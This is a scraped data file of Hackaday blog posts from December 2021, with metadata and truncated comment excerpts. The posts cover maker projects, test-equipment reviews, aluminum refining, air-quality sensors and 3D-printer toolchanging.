... | 1,760,372,854.033628 | ||
https://hackaday.com/2021/12/14/diy-semi-auto-grinder-builds-itself-sort-of/ | DIY Semi Auto Grinder Builds Itself (Sort Of) | Dave Rowntree | [
"Tool Hacks"
] | [
"aluminum extrusion",
"angle grinder",
"automatic"
] | [JSK-koubou] is no stranger to making tools to improve their work, and this latest video is yet another in a long list of such builds, just checkout their YT channel to see the many other examples. The tool being highlighted this time is a
semi-automatic grinder
(Video, embedded below) which could be very handy in many situations.
Many of us struggle a little to get straight cuts with an angle grinder, especially with softer materials, as it is sometimes hard to get a good ‘feel’ of how the cut is proceeding. Once the cut is started, thin blades will tend to ‘track’ in the slot, so if it starts off a little bit, the whole cut will be off. Most annoying. Anything to help keep things straight and square would help a lot, with the extra feature of a motorized drive enabling a constant cut rate, and presumably giving an increase in the cut quality.
Using the part completed rig to cut its own leadscrew
Since operation is hands-off, you could set it up, and leave it to do its thing, whilst you step aside, away from flying sparks, noise and the remote possibility of getting a splintered blade in your face, should the unthinkable happen. All good things.
The detailed build video shows what looks like a pretty solid construction, there are
plans available on the accompanying website
, but they do request a small donation of ¥1000 (less than $10 USD) to download them. Given the usefulness of the tool, this seems like a small price to pay. We quite liked some sections of the build video, where the tool is used to cut its own components, as it is built-up sequentially. Clever stuff! Another interesting technique to see was the use of a flame-heated (Stanley) knife blade as a drive belt end-jointer. Somewhat tough on the blade, but it’s a consumable item and gets the job done, so that’s good enough for us!
Parts wise, there’s nothing special at all here, with most easily sourced via the usual mechanical suppliers, but we reckon you’d be able to find most of it on eBay as well. We think this is exactly the sort of build that would work well in your local Makerspace, so perhaps give that a thought?
Bored with manually cutting off? Need an overkill solution for a mundane job?
How about an Automatic Cut-Off Saw
? If you need some defense against the mighty angle grinder, then perhaps
Proteus
is just the ticket?
Thanks [Keith] for the tip! | 12 | 8 | [
{
"comment_id": "6406772",
"author": "volt-k",
"timestamp": "2021-12-14T11:19:01",
"content": "And apparently the plans/instructions you buy are in Japanese only. “please use Chrome’s Google automatic translation.” – come on, we all know how well that works.",
"parent_id": null,
"depth": 1,
... | 1,760,372,854.086465 | ||
https://hackaday.com/2021/12/13/pit-your-wits-against-british-spooks/ | Pit Your Wits Against British Spooks | Jenny List | [
"Holiday Hacks"
] | [
"christmas",
"GCHQ",
"puzzle"
] | The festive season is upon us, and for Brits of a technical bent that means
it’s time for the GCHQ Christmas Challenge
. Sent out annually as part of the Christmas card from the UK’s intelligence centre, this is a chance for would-be spooks to pit their wits against some of the nation’s cleverest cryptologists whose work you’ll never have heard of.
This year the puzzle is aimed at those with a secondary school education, in the hope of fostering an interest in maths and science in younger people. It’s a series of puzzles of ascending difficulty, but don’t be lulled into a false sense of security by the earlier ones being easy, to complete the set will still require some brain power.
We’re guessing that as in previous years, this puzzle will garner a significant quantity of entries. It’s a successful public relations exercise from the agency which like all such organisations
has felt its fair share of controversy
in its time. There may thus be readers who regard it with some suspicion, but it’s fair to say
it’s not the only such popular exercise from a govenment agency
. If meanwhile you fancy a bit of GCHQ history,
we caught their Science Museum exhibition back in 2019
. | 13 | 7 | [
{
"comment_id": "6406755",
"author": "genixia",
"timestamp": "2021-12-14T08:01:04",
"content": "I’d just like to say Thank You to all those clever chaps and chappesses at GCHQ for keeping the United Kingdom safe this Christmas!",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,854.363492 | ||
https://hackaday.com/2021/12/13/mining-and-refining-from-red-dirt-to-aluminum/ | Mining And Refining: From Red Dirt To Aluminum | Dan Maloney | [
"chemistry hacks",
"Engineering",
"Featured",
"Original Art",
"Slider"
] | [
"aluminum",
"bauxite",
"smelting"
] | No matter how many syllables you use to say it, aluminum is one of the most useful industrial metals we have. Lightweight, strong, easily alloyed, highly conductive, and easy to machine, cast, and extrude, aluminum has found its way into virtually every industrial process and commercial product imaginable.
Modern life would be impossible without aluminum, and yet the silver metal has been in widespread use only for about the last 100 years. There was a time not all that long ago that aluminum dinnerware was a status symbol, and it was once literally worth more than its weight in gold. The reason behind its one-time rarity lies in the effort needed to extract the abundant element from the rocks that carry it, as well as the energy to do so. The forces that locked aluminum away from human use until recently have been overcome, and the chemistry and engineering needed to do that are worth looking into in our next installment of “Mining and Refining.”
Pay Dirt
Aluminum is the single most abundant metallic element in the Earth’s crust. But for something that makes up 8% on average of the ground beneath your feet, it’s extremely hard to come by in its elemental form. There are no outcroppings or veins of metallic aluminum to mine; aluminum is almost always found in its various oxide forms, and needs to be chemically liberated to be of any use as an industrial metal.
While aluminum-bearing rocks are widely distributed, there are only a few economically significant deposits of the primary ore of aluminum: bauxite. The exact content of bauxite varies, but it is generally composed of aluminum oxide minerals in association with aluminum hydroxides, clays, quartz, and iron-bearing minerals. Some of the largest and richest deposits of bauxite are located in the tropics, where alternating periods of high temperatures and abundant rainfall are followed by long dry periods.
The chemical weathering that these conditions favor is really the first step in aluminum processing — it breaks the bauxite, which is already a very soft rock, into bite-sized pieces that are easily scooped up. Most bauxite is mined using open-cast mining techniques. The current world leader in bauxite production is Australia, which produces about a quarter of world production. China comes in second, with the West African nation of Guinea coming in third. There are also large deposits of bauxite in Brazil and the Caribbean, mainly in Jamaica.
Because there are only a few places in the world where bauxite is mined, the ore is frequently shipped long distances for further processing. This can end up being a dangerous proposition when the ore is shipped across the ocean because of
liquefaction and dynamic separation
. Bauxite typically contains a lot of clay, and when exposed to rainwater it can form a quicksand-like suspension that behaves like a liquid. When loaded into the holds of a bulk carrier ship, overly wet bauxite can slosh around and, when coupled with the tendency for the water in the slurry to migrate upward, change the center of gravity of the ship with disastrous results.
So Close, Yet So Far
Raw bauxite ore must be chemically treated to remove the impurities and make it ready for smelting the aluminum it contains. The Bayer process is almost always used to accomplish this, and consists of cooking large batches of crushed bauxite in a pressure vessel with a solution of caustic soda, or sodium hydroxide. At 150° to 200° C, the aluminum oxides and hydroxides, which are normally insoluble in water, react with the sodium in the sodium hydroxide to form sodium aluminate:
This solubilizes the aluminum in the bauxite but not the impurities, which are mainly iron oxides. The insoluble materials, along with excess sodium hydroxide, are filtered off into a waste product called “red mud.” Vast amounts of red mud are produced at bauxite processing plants and stored in lagoons, often formed by flooding played-out bauxite pits when the ore is processed close to where it was mined. The oxides in red mud have economic value, and can be recovered for use in industrial processes that include the recovery of trace amounts of rare earth elements that can be present in the tailings. Red mud can also lead to disaster if it is not properly handled.
The final step in bauxite processing involves precipitating the aluminum in the filtrate and purifying it. This is accomplished by seeding the solution containing the sodium aluminate with highly purified crystals of aluminum hydroxide. This causes aluminum hydroxide crystals to form and drop out of the supersaturated solution:
The crystals of aluminum hydroxide are collected and treated in a high-temperature rotary kiln. In a process called calcination, the aluminum hydroxide is thermally decomposed into pure white crystals of aluminum oxide:
Better Smelting Through Chemistry
The next step of processing is to actually smelt the elemental aluminum from the alumina. The process used to accomplish this is the Hall-Héroult process, named after American chemist Charles Martin Hall and French scientist and inventor Paul Héroult, who independently and nearly simultaneously invented the process in 1886. The process basically seeks to undo the oxidative processes of nature that originally locked elemental aluminum into its oxides to form bauxite. It does so electrolytically, and therefore requires access to massive amounts of cheap electricity to be economically viable; this is why aluminum smelters are often located close to hydroelectric dams.
To electrolyze the alumina powder, it first has to be liquefied. Simply melting it isn’t feasible, since it has an outrageously high melting point (2,072° C). The key to the Hall-Héroult process was the discovery of cryolite, a salt of sodium, aluminum, and fluorine. Cryolite lowers the melting point of alumina to about 900° C, making electrolysis possible. Cryolite occurs naturally but is very rare, being found in only a few places on Earth. Almost all of the cryolite used for aluminum smelting is now produced synthetically.
On an industrial scale, the Hall-Héroult process is carried out at nearly ludicrous levels, with smelting plants so large they can be seen from space. Each steel reaction cell, called a pot, is lined with ceramic and has a graphite cathode at the bottom. The pot is charged with alumina powder and cryolite, and a massive composite anode is lowered into the mix. The anode is made mostly of fused coke with a copper or steel frame to conduct the current needed — hundreds of thousands of amps — to electrolyze the solution.
The electrolysis reaction causes metallic aluminum to form at the anode of each cell. The molten metal is denser than the electrolyte, so droplets sink to the bottom of the pot where they accumulate on the cathode. Pots are run continually, and it takes anywhere from one to three days for enough molten aluminum to accumulate. The liquid metal is tapped off by a siphon, the consumable anodes are swapped out as needed, and another charge is added to the pot.
The aluminum that comes off the pot is about 99% pure aluminum and is generally cast into ingots or bars for further processing. Aluminum at this purity level is mostly used for food containers or as electrical conductors, such as overhead power lines. If higher purity metal is desired, another electrolytic process known as the Hoopes process can bring the purity up to “four-nines” level (99.99%). All metals from 99% pure and up are known as “1000-series” aluminum.
Pure aluminum is generally not that useful industrially, though, so most aluminum is alloyed with other metals to achieve other characteristics. For example, the 2000-series of aluminum is primarily alloyed with copper for strength and toughness, and finds its way into aircraft manufacturing. 3000-series metals, like the 3003 alloy found in ductwork and cooking utensils, are alloyed with manganese for workability.
Silicon
is alloyed with aluminum to form the 4000 series metals; adding magnesium results in the 6000-series metals like the popular 6061 and 6063 which show up in everything from
aluminum extrusions
to engine blocks. | 29 | 16 | [
{
"comment_id": "6406574",
"author": "Severe Tire Damage",
"timestamp": "2021-12-13T15:26:32",
"content": "I love articles like this. Why bauxite you might add? Especially given that aluminum makes up 8 percent of the crust? The problem is that most of that 8 percent is locked up in silicate mine... | 1,760,372,854.551342 | ||
https://hackaday.com/2021/12/13/new-pi-zero-gains-unapproved-antennas-yet-again/ | New Pi Zero Gains Unapproved Antennas Yet Again | Arya Voronova | [
"Raspberry Pi",
"Wireless Hacks"
] | [
"raspberry pi",
"Raspberry Pi Zero 2 W",
"u.fl",
"wifi",
"wifi antenna"
] | We’ve only started to tap into the potential of the brand new Pi Zero 2. Having finally received his board, [Brian Dorey]
shows us how to boost your Pi’s WiFi
, the hacker way. Inline with the onboard WiFi antenna can be found a u.FL footprint, and you just know that someone had to add an external antenna. This is where [Brian] comes in, with a photo-rich writeup and
video tutorial
, embedded below, that will have you modify your own Zero in no time. His measurements show seeing fourteen networks available in a spot where he’d only see four before, and the RSSI levels reported have improved by 5 dB -10 dB, big when it comes to getting a further or more stable connection.
With old laptops being a decent source of WiFi antennas, you only need to procure a u.FL connector and practice soldering a bit before you take this on! The hardest part of such a project tends to be not accidentally putting any solder on the u.FL connector’s metal can – and [Brian]
mostly
succeeds in that! He shows how to disconnect the external antenna to avoid signal reflections and the like, and, of course, you will be expected to never power your Pi Zero on without an attached antenna afterwards, lest you have your transmitter become fatally confused by the mismatch of hardware-defined impedance expectations. A Pi Zero isn’t the only place where you’ll encounter footprints for connectors you can add, and arguably, that’s your duty as a hacker – modifying the things you work with in a way that adds functionality. Don’t forget to share how you did it!
This trick should be pretty helpful if you’re ever to put your new Pi Zero in a full-metal enclosure. Curious about the Raspberry Pi antenna’s inner workings?
We’ve covered them before!
If you’d like to see some previous Raspberry Pi mods, here’s one
for the Pi 3
, and here’s one
for the original Zero W
– from [Brian], too! | 25 | 9 | [
{
"comment_id": "6406536",
"author": "Shirley Marquez",
"timestamp": "2021-12-13T12:45:25",
"content": "The article shows it with a short u.FL to SMA cable and an SMA antenna. That antenna was probably harvested from an old desktop wireless router, not a laptop; many of them have antennas that can b... | 1,760,372,854.27376 | ||
https://hackaday.com/2021/12/13/active-pickguard-makes-for-a-great-guitar-mod/ | Active Pickguard Makes For A Great Guitar Mod | Lewin Day | [
"Musical Hacks"
] | [
"digital signal processing",
"dsp",
"electric guitar",
"guitar",
"pickguard"
] | Much discussion goes on in the guitar world about the best hardware to use. Whether its pickups, how they’re positioned, or even the specific breed of wood on the fretboard, it’s all up for debate. [Eli Hughes] put much of that to one side, however,
with his innovative “Active Pickguard” project.
The project reimagines the electronics of an electric guitar from the ground up. Instead of typical electromagnetic pickups, six individual piezo pickups are built into the bridge – one for each individual string. The outputs of these pickups is conditioned and then read by the analog-to-digital converter of a Freescale Kinetis K40. The DSP-capable chip can then be used to apply all manner of effects. [Eli] demonstrates the guitar providing an uncanny imitation of an acoustic guitar, before demonstrating jazz and overdrive tones as well.
The Kinetis chip also features touch-sensitive inputs, which [Eli] put to good use. All the hardware is built into a pickguard-shaped PCB, complete with touch controls for things like volume, tone, and choosing different DSP patches.
Unlike a regular guitar, this one needs a power supply, which it gets via a CAT 6 cable, in place of the usual 1/4″ guitar cable. The CAT 6 also carries audio out to a converter box which allows the audio to be output to a regular guitar amplifier.
It’s a neat build, and one that shows just how modern technology can reimagine a simple 20th-century instrument.
DSP really is magic, after all.
Video after the break.
\ | 6 | 6 | [
{
"comment_id": "6406532",
"author": "Dan",
"timestamp": "2021-12-13T12:01:03",
"content": "Line-6 have been doing this for years; love my bass. Pretty impressive as a DIY though!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406554",
"author": "Chuck Ma... | 1,760,372,854.314236 | ||
https://hackaday.com/2021/12/12/kerry-wong-is-really-into-scope-meters/ | [Kerry Wong] Is Really Into Scope Meters | Al Williams | [
"Teardown",
"Tool Hacks"
] | [
"hantek",
"oscilloscope",
"own",
"scopemeter"
] | If a combination multimeter and oscilloscope is on your holiday shopping list this year, you might want to have a look at some of [Kerry Wong’s]
recent videos on the subject
. Over several videos he looks at — inside and out — an OWON HDS272S and a Hantek 2D72, both reasonably inexpensive entries in the field. Both instruments are similar and have a few variants depending on the frequency capability and the addition of a waveform generator.
There are several videos on the Hantek device that are a few months old, then some recent videos — like the one below — on the OWON device along with some comparison videos.
In general, it seemed like [Kerry] had a slight preference for the Hantek in some areas like the user interface and software options but concluded that the OWON has better performance both in the oscilloscope and signal generator. As meters, the OWN is a 20,000 count true RMS meter, but the Hantek is only a 4,000 count and does not have true RMS. We really enjoyed seeing both devices looking at the same signal side-by-side.
We had looked at [Kerry’s]
take on the Hantek
awhile back, as you may recall. Cheap portable scopes have
come a long way
since 2016, you have to admit. | 13 | 9 | [
{
"comment_id": "6406550",
"author": "ledtester",
"timestamp": "2021-12-13T13:36:47",
"content": "Also check out the youtube channel’s TheHWCave for an extensive review of the HDS272S:#104 A closer look at the OWON HDS272S Scope meter — TheHWCavehttps://youtu.be/6v2UhBz3xZU",
"parent_id": null,
... | 1,760,372,854.211799 | ||
https://hackaday.com/2021/12/12/differential-probe-clocks-at-100mhz-and-200/ | Differential Probe Clocks At 100MHz And $200 | Al Williams | [
"Tool Hacks"
] | [
"differential probe",
"micsig",
"scope probe"
] | [Voltlog] often looks at interesting test equipment and in the video below he reviews something that isn’t very common in hobby labs:
a differential oscilloscope probe
. These are usually pretty expensive, but the Micsig probe in the video costs under $200. The question, of course, is what do you need with a differential probe?
A typical scope probe has a ground lead that connects directly to the actual grounding point. This can cause a problem if you try to measure across some component that has more voltage than you want to short to ground. It might hurt your device under test, your scope, or both.
The probe isn’t isolated in the traditional sense, but it does prevent the problem, as he explains in the video. The probe powers from USB, which might seem odd, but [Voltlog] points out that you probably won’t use this often, so batteries that will go bad during the months it sits on the shelf aren’t really a great idea. Makes sense.
Towards the end, you can see the probe in action, measuring signals in a switching power supply that would be difficult to measure with a conventional probe. If you’d rather build your own probe,
start with this entry to the Hackaday Prize
. Or,
try this older design
. | 12 | 8 | [
{
"comment_id": "6406472",
"author": "Mike Massen, Perth, Western Australia",
"timestamp": "2021-12-13T03:25:41",
"content": "Good to see product reviews that could provoke augmentation of various types. Been using differential probes for decades. Some good design guides from the oldie NS linear ca... | 1,760,372,855.252986 | ||
https://hackaday.com/2021/12/12/hackaday-links-december-12-2021/ | Hackaday Links: December 12, 2021 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links"
] | [
"fiire",
"hackaday links",
"helicopter",
"Ingenuity",
"mars",
"MC4",
"Mike Szczys",
"music theory",
"password",
"security",
"Solar City",
"tesla"
] | It looks as though the Mars Ingenuity flight team is starting to press the edge of the envelope a bit. The tiny rotorcraft, already 280-something sols into a mission that was only supposed to last for about 30 sols, is taking riskier flights than ever before, and
things got particularly spicy during flight number 17 this past week
. The flight was a simple up-over-and-down repositioning of the aircraft, but during the last few meters of descent at its landing zone, Ingenuity dipped behind a small hill and lost line-of-sight contact with Perseverance. Without the 900-MHz telemetry link to the rover, operators were initially unable to find out whether the chopper had stuck the landing, as it had on its previous 16 flights. Thankfully, Perseverance picked up a blip of data packets about 15 minutes after landing that indicated the helicopter’s battery was charging, which wouldn’t be possible if the craft were on its side. But that’s it as far as flight data, at least until they can do something about the LOS problem. Whether that involves another flight to pop up above the hill, or perhaps even repositioning the rover, remains to be decided.
Thinking up strong passwords that are memorable enough to type when they’re needed is never easy, and probably contributes more to the widespread use of “P@$$w0rD123” and the like than just about anything. But we got a tip on a method the musically inclined might find useful —
generating passwords using music theory
. It uses standard notation for chords to come up with a long, seemingly random set of characters, like “DMaj7|Fsus2|G#9”. It’s pretty brilliant, especially if you’ve got the musical skills to know what that would sound like when played — the rest of us can
click here
to find out. But since we can’t carry a tune in a bucket, we’ll just stick with
the “correct horse battery staple” method
.
Looks like you can only light so many roofs on fire before somebody starts to take an interest in what’s going on. At least that seems to be the case with Tesla, which is now
under investigation by the US Security and Exchanges Commission
for not keeping its shareholders and the public looped in on all those pesky solar array fires it was having back in the day. The investigation stems from a 2019 whistleblower complaint by engineer Steven Henkes, who claims he was fired by Tesla after pointing out that it really would be best not to light their customers’ buildings on fire with poorly installed solar arrays. It’s interesting that the current investigation has nothing to do with the engineering aspects of these fires, but rather the financial implications of disclosure.
We discussed some of those problems before
, which includes dodgy installation practices and seems to focus on improperly torqued MC4 connectors.
Staying with the Tesla theme, it looks like the Cybertruck is going to initially show up as
a four-motor variant
. The silly-looking vehicle is also supposed to sport four-wheel steering, which will apparently make it possible to drive diagonally. We’ve been behind the wheel for nearly four decades at this point and can count on no hands the number of times diagonal driving would have helped, and while there might be an edge case we haven’t bumped into yet, we suspect this is more about keeping up with the competition than truly driving innovation. It seems like if they were really serious about actually shipping a product, they’d work on
the Cybertruck windshield wiper problem
first.
And finally, as I’m sure you’re all aware by now, our longtime boss
Mike Szczys is moving on to greener pastures
. I have to say the news came as a bit of shock to me, since I’ve worked for Mike for over six years now. In that time, he has put me in the enviable position of having a boss I actually like, which has literally never happened to me before. I just thought I’d take the chance to say how much I appreciate him rolling the dice on me back in 2015 and giving me a chance to actually write for a living. Thanks, Mike, and best of luck with the new gig! | 14 | 10 | [
{
"comment_id": "6406429",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-13T00:21:05",
"content": "Not diagonal driving, but tighter circles.And [un]parking with very little room.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406439"... | 1,760,372,854.432998 | ||
https://hackaday.com/2021/12/12/resin-stacking-proves-messy-and-difficult/ | Resin Stacking Proves Messy And Difficult | Lewin Day | [
"3d Printer hacks"
] | [
"3d printing",
"resin printer",
"resin printing",
"resin stacking"
] | 3D printers are typically the tool you use when you want a one-off quick prototype. However, more and more, they’re being used to produce things in quantity. [Uncle Jessy]
decided to try out the resin stacking technique
in order to quickly produce many figurines on his resin printer. However, not everything went exactly to plan.
The technique is simple. The idea is to produce many copies of an object in a single continuous print on a resin 3D printer. To achieve this, the object is cloned many times, and scaffolding is created to allow the stacking of multiple objects on top of each other. This must be done carefully to avoid ruining the geometry of the object, and similarly to support material, uses more resin in the process.
[Uncle Jessy] experimented several times, but ran into multiple issues with the process when trying to print out some small Magneto figurines. An initial experiment using a raft failed when the print fell off the build plate. With the raft removed, the second print failed as the scaffolding didn’t print quite right. Further tweaks and beefing up the scaffold improved things, and [Jessy] managed to print 93 figurines in a single operation.
It’s a useful technique if you want to print a ton of models on a resin printer in as short a time as possible. However, expect to spend plenty of resin as you refine the technique. You’ll also need a
big wash tank
to clean the prints during post-processing. Video after the break. | 15 | 2 | [
{
"comment_id": "6406387",
"author": "Anonymous",
"timestamp": "2021-12-12T21:13:23",
"content": "Neat idea, but I’m purposefully not clicking “play” on this one due to the awful click-bait thumbnail with photoshopped caricature facial features.",
"parent_id": null,
"depth": 1,
"replies"... | 1,760,372,854.479309 | ||
https://hackaday.com/2021/12/13/measuring-air-quality-using-mobile-sensors-for-the-masses/ | Measuring Air Quality Using Mobile Sensors For The Masses | Robin Kearey | [
"green hacks"
] | [
"air quality",
"citizen science",
"pm2.5",
"pollution monitoring"
] | Poor air quality is a major problem for city dwellers the world over. Dust, smoke, particles and noxious gases from vehicles, industry and agriculture makes many megacities downright hazardous to live in. Pinpointing the source of pollution and developing strategies for mitigation requires accurate data on pollutant levels, but obtaining these numbers is not always easy.
Enter
CanAirIO
, a citizen science project that aims to gather air quality data from around the world by putting sensors into the hands of as many people as possible. Its team has developed two different sensor nodes for this purpose: an
indoor one
that can measure CO
2
, and
a mobile one
that can measure particulate matter (PM) levels. Both versions are powered by an ESP32 microcontroller that reads out the air quality sensors and connects to the Internet using WiFi or BlueTooth. The data can then be shared online to create detailed maps showing local variations in air quality.
The design of the sensor nodes is fully open-source, allowing anyone with basic electronic skills to build them. The sensors are a Sensirion SCD30 for CO
2
measurement and an SPS30 for PM levels. The mobile version comes with a neat 3D-printed enclosure that can be mounted on a bike’s handlebar, enabling the user to quickly gather data around their neighbourhood. A mobile app simplifies setting up the sensors and sharing the data.
The project has already been successful in gathering detailed data in the city of Bogotá, Colombia, and will no doubt prove useful in many other pollution hotspots around the world. We’ve seen similar community efforts to
monitor air pollution
and even
radiation
in various places, both showing how relatively simple devices can help to make a difference in people’s wellbeing. | 8 | 2 | [
{
"comment_id": "6406727",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-14T03:08:26",
"content": "But I suspect oppressive governments will not want information about air quality to be gathered and exported.",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,854.705427 | ||
https://hackaday.com/2021/12/13/a-self-righting-balancing-robot-configured-the-easy-way/ | A Self Righting Balancing Robot Configured The Easy Way | Dave Rowntree | [
"Robots Hacks"
] | [
"balancing bot",
"BMO055",
"ESP32-WROOM-32",
"IMU",
"oled",
"QR codes",
"self righting",
"two wheeler"
] | Norwegian electronics hacker [Hans Jørgen] aka [time expander] on YouTube, has a clear interest in robotics, and for his latest effort, decided that it was time to build a custom controller platform. Since [Hans] had a pile of Dynamixel servo motors lying around to test it with, a good first project for the platform was
a simple self-balancing wheeled robot
. (Video, embedded below)
We say ‘simple’ but that isn’t really the case, as there is a fair bit going on to get this to work. The first problem, is sensing, which was quickly solved with the excellent
BMO055 IMU chip
. Next, what to do when it falls over? Simply adding some servo-controlled arms, allowed the robot to flip itself back upright. Control is covered with a ESP32-WROOM-32D module from our friends at Espressif, which enables remote firmware uploading over the air (OTA update) as well as parameter tuning. In order to implement the latter, [Hans] chose to use
bonjour/mDNS
which is an implementation of zero-configuration networking. This gets the ESP32 onto the WiFi, but it isn’t immediately obvious how to connect to it, without a little digging around. To simply connection, [Hans] implemented a dynamic QR code via the connected OLED. This is just one of the those tiny 0.96″ displays that you see touted all over our corners of the internet.
Simply by scanning the QR code with any compatible device to hand brings up a simple configuration web page, allowing one to tweak the PID controller parameters, and get that balancing robot into check. Great stuff!
The PCB was designed in Eagle, firmware for the ESP32 is available, 3D models for the plastic are designed with fusion 360, and [Hans] is even currently working on some preliminary Alexa integration. What a fun project!
All the above, albeit an early cut (look out for bugs!) is available on the
project GitHub
for your viewing pleasure.
We’re no stranger to self-balancing 3D-printed bots, whilst you’re here, why not checkout
A problematic Self-Balancing Sonic the Hedgehog
? If wheeled bots aren’t your cup-of-tea, there’s a not-at-all freaky
one-legged bouncing bot
that may be of interest.
Thanks for the tip, [Hallgeir]! | 2 | 2 | [
{
"comment_id": "6407304",
"author": "Drone",
"timestamp": "2021-12-16T07:28:39",
"content": "Drifty thing, isn’t it? Maybe Kalman can help.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6407747",
"author": "Erik",
"timestamp": "2021-12-17T17:39:15",
... | 1,760,372,854.665493 | ||
https://hackaday.com/2021/12/13/an-open-source-detector-for-identifying-plastics/ | An Open Source Detector For Identifying Plastics | Tom Nardi | [
"green hacks",
"handhelds hacks"
] | [
"infrared",
"plastic recycling",
"recycling",
"spectroscopy"
] | One of the challenges involved in recycling plastic is determining the specific
type
of plastic a given item is actually made of. To keep up with demand, large scale recycling centers rely on various automated systems to separate different types of plastic from a stream of incoming material. But in less technologically advanced parts of the world, workers can find themselves having to manually identify plastic objects; a time consuming and error-prone process.
To try and improve on the situation, [Jerry de Vos], [Armin Straller], and [Jure Vidmar] have been working on
a handheld open hardware device that they refer to simply enough as the Plastic Scanner
. The hope is that their pocket-sized unit could be used in the field to positively identify various types of plastic by measuring its reflectivity to infrared light. The device promises to be very easy to operate, as users simply need to bring the device close to a piece of plastic, push the button, and wait for the information to pop up on the OLED display.
Or at least, that’s the idea. While the team eventually hopes to release a kit to build your own handheld Plastic Scanner, it seems that the hardware isn’t quite ready for production. The most recent work appears to have been put in, not unexpectedly, the development board that lets the team refine their process. The development unit combines an array of IR LEDs with wavelengths ranging from 850 to 1650 nanometers, a InGaAs photodiode connected to an ADS1256 24-bit analog-to-digital converter (ADC), and an Arduino Uno. In comparison, the final hardware uses a Raspberry Pi Zero and a smaller “breakout board” that contains the sensor and IR LEDs.
Browsing through the software repository for the project
, we can see the device uses Python, TensorFlow Lite, and a database of IR reflectivity values for known plastics to try and determine the closest match. Obviously the accuracy of such a system is going to be highly dependent on the quantity of known-good data, but at least for now, it appears the user is responsible for building up their own collection or IR values.
As interesting as this project is, we’re a bit skeptical about its purely optical approach to identifying plastics. Automated recycling centers do use infrared spectroscopy, but it’s only one tool of many that are employed. Without additional data points,
such as the density or electrostatic properties of the plastic being tested
, it seems like the Plastic Scanner would have a fairly high margin of error. Just taking into account the wide array of textures and colors the user is likely to encounter while using the device will be a considerable challenge.
[Thanks to Harvie.CZ for the tip.] | 19 | 11 | [
{
"comment_id": "6406693",
"author": "Thinkerer",
"timestamp": "2021-12-13T22:42:21",
"content": "This may have some use for single-component polymers, but very few things you run into in the real world are that. Laminates, coextrusions, copolymers, coatings, colorants, fillers, adhesives, tie laye... | 1,760,372,855.008732 | ||
https://hackaday.com/2021/12/13/usb-led-christmas-tree-is-making-spirits-bright/ | USB LED Christmas Tree Is Making Spirits Bright | Kristina Panos | [
"Holiday Hacks"
] | [
"christmas tree",
"led",
"pcb",
"usb"
] | [Piotr SB] knows there is no way out of the holidays; the only path is through. You’ve got to find cheer wherever and however you can, so why not cater to your own interests and build
the cutest little LED Christmas tree you ever did see?
And did we mention it’s USB and absolutely free (as in carols, not eggnog)?
This O-Christmas tree is made up of concentric rings that are built into a tier as you solder the LEDs. And of course you’re supposed use the LED legs as supports! One leg from each LED — 18 green and a red one for the top. Because the PCB is not quite thick enough, you’ll need to add a plastic spacer to get it to stay in the USB port. Not only is this a nice design, the snowflakes and snowman on the silkscreen totally seal the cuteness deal.
Ever get so frustrated with your Christmas tree that you want to just empty a few rounds into the thing? No?
Well, you’d have a good reason to if you built this Duck Hunt ornament
. | 9 | 5 | [
{
"comment_id": "6406651",
"author": "vib",
"timestamp": "2021-12-13T20:00:10",
"content": "it´s missing clac-clac-clac keys and a soap dispenser of kitsch",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406691",
"author": "Dustin Evans",
"timestamp": ... | 1,760,372,854.8708 | ||
https://hackaday.com/2021/12/13/ask-hackaday-are-extruders-the-only-feasible-tools-for-toolchanging/ | Ask Hackaday: Are Extruders The Only Feasible Tools For Toolchanging? | Donald Papp | [
"Ask Hackaday",
"Hackaday Columns",
"Slider"
] | [
"3D Printering",
"3D printers",
"Ask Hackaday",
"extruder",
"toolchanging"
] | Toolchanging in 3D printers is no longer something from the bleeding edge; it’s going mainstream.
E3D has a high-quality kit
for a toolchanger and motion system, our own Joshua Vasquez has shared details about
the open-source toolchanging Jubilee design
, and just recently Prusa3D formally announced the
Prusa XL
, which promises toolchanging with up to five different extruders.
A toolchange in progress
It’s safe to say toolchanging on 3D printers has stepped to the front, but what comes next? What kind of tools other than extruders make sense on a 3D printer?
First, let’s explain what makes separate extruders such fantastic tools. Being able to change extruders on-demand during a print enables things like true multi-material printing. Printing in more than one color or material will no longer be done by pushing different filaments through a single nozzle, which limits a print to materials that extrude under similar conditions and temperatures. Toolchanging means truly being able to print in multiple materials, even if they have different requirements, because each material has its own extruder. That’s a clear benefit, but what about tools other than extruders?
3D Printers Have Often Been Modded To Do More
Cutting tools and lasers are two common 3D printer retrofits that seem to be likely candidates for toolchanging, but they are not without their own issues. Lasers require eye protection and ventilation, and cutting tools create troublesome dust and fragments. Nevertheless, over the years we’ve seen quite a few
3D printers modified into light-duty laser cutters
, or
converted to CNC engravers
. It doesn’t end there; we’ve seen
an extruder that embeds copper wire into prints
, and even printers turned into
through-hole soldering machines
.
As clever as these are, some are really just repurposing a 3D printer into something else, and the results have little or nothing to do with the business of extruding plastic to create objects. But others do seem aimed at genuinely enhancing the 3D printing process by adding new capabilities, and could make worthwhile candidates for tools in a toolchanging 3D printer. But which ones make practical sense?
The Best Tools Might Be Ones We Haven’t Seen Yet
The most useful tools are likely to be ones that help a 3D printer do its work better, or more efficiently. For example, E3D have made a pretty solid case that
a cutting tool as a secondary processing step can add real value to 3D prints
under the right conditions.
Another example of enhancing prints is
ironing
, which uses an extruder’s nozzle to smooth out the surface of prints. It looks fantastic when it works, but as that link explains, reliability and results can vary. Perhaps a specialized tool, designed specifically for ironing, could smooth prints more reliably and efficiently than an extruder nozzle? Such a tool might even be useful for embossing prints, as well.
A more ambitious task would be a pick-and-place tool that can drop hardware like nuts or magnets into a print while it’s in progress. 3D prints that contain captive hardware would no longer need a human operator involved; a boon for using 3D printers in a manufacturing role.
